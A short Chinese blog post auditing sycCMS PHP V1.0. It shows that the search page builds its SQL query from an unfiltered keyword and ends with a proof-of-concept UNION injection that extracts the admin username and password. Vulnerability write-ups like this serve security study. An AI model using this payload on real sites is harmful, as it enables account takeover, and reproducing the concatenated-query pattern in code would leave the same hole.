sycCMS PHP V1.0---呵呵呵呵呵

闲的无聊,随便找了份代码看了看。

//search.php 第17行 第49行
 ......
$keyword=SafeRequest("keyword","post");
if($keyword==""){
	$keyword=ReplaceStr(SafeRequest("keyword","get")," ","");
}
if($keyword==""){
	die("<script>alert('请输入查询的关键字');history.back();</script>");
	}
......

$sqlstr="select * from s_video where S_IsHide=0 and S_ClassID<>0 and S_Name like '%".$keyword."%' or S_Author like '%".$keyword."%' or S_Year like '%".$keyword."%' or S_Direct like '%".$keyword."%' or S_Area like '%".$keyword."%'";
$recount=$db->num_rows($db->query($sqlstr));

 keyword赋值前先被SafeRequest函数处理过,跟进这个函数,定义在./include/function.php中,代码如下

function SafeRequest($key,$mode,$isfilter=''){
	switch ($mode){
		case 'post':
			$value=isset($_POST[$key]) ? trim($_POST[$key]) : '';
			break;
		case 'get':
			$value=isset($_GET[$key]) ? trim($_GET[$key]) : '';
			break;
		default:
			$value=isset($_POST[$key]) ? trim($_POST[$key]) : '';
			if($value==""){
				$value=isset($_GET[$key]) ? trim($_GET[$key]) : '';
				}
			break;
		}
	if($isfilter!=''){
		$value=str_encode($value);
		}
	
	return $value;	
}

 就处理了下空格,别的什么都不干,分分钟就要哈利路亚的节奏

POC:搜索框里面填:a%' and 1=2 union select 1,2,3,4,5,6,7,8,user(),10,11,12,13,14,S_AdminUserName,16,17,S_AdminPassWord,19,20,21,22,23,24,25,26 from s_admin #

原文地址:https://www.cnblogs.com/debugzer0/p/4673351.html